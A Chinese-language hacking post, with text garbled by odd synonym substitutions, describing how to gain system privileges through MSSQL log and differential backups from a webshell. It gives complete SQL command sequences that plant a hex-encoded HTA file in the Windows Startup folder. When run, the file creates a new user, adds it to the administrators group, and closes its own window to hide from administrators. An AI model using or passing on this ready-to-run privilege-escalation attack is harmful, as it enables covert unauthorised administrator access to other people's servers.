MSSQL备份取系统权限[网络技术]

原文里用的办法是备份出BAT文件,下面答复有人提到本地测试成功,而放到WEBSHELL上提权时效果不佳,其实缘由还是出在BAT上,因为在DOS下单条号令长度是有限制的(仿佛是128位字符吧,不记得了),大家在本地测试时数据库一定很小(几近是空的吧),而放WEBSHELL里提权时数据库相对较大,并且不管是LOG备份还是差别备份在备份时城市加入N大都据,只要在你备份前的BAT数据之前有一行是大于128位字符的在备份后的BAT履行时就会自动退出,不信你可以在本地建个BAT删掉@echo off这一行后在DOS运行你的BAT试试看.这就是本地测试成功,用于WEBSHELL提权时失效的缘由了.

BAT不行我们试试HTA,关于HTA的文件格局大家自行GOOGLE或BAIDU

把上面这段代码转为16进制后再在头尾各加两个回车备份出来为HTA后缀便可加大成功率了.最后一行加个JS代码自动关掉HTA运行时弹出的窗口来躲过管理员的眼睛.

贴下备份代码:

1.Log备份:

alter database 库名 set RECOVERY FULL--
create table cmd (a image)--
backup log 库名 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup log 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta'--
drop table cmd--
alter database 库名 set RECOVERY SIMPLE--

2.差别备份:

backup database 库名 to disk='c:\ddd.bak'--
create table dtest (cmd image)--      
insert into dtest(cmd) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup database 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta' WITH DIFFERENTIAL,FORMAT--
drop table dtest--

==================================================
上面的代码是用WScript.Shell组件履行加管理员的号令的,目前安全性高点的主机都不会留着它给你提权用,假如没有WScript.Shell组件我们还可以用 Shell.Application Wscript.Network ,假如这些都不可用我们还可以用FSO直接来写别的文件..... (说得太多了,留点空间大家施展吧......)
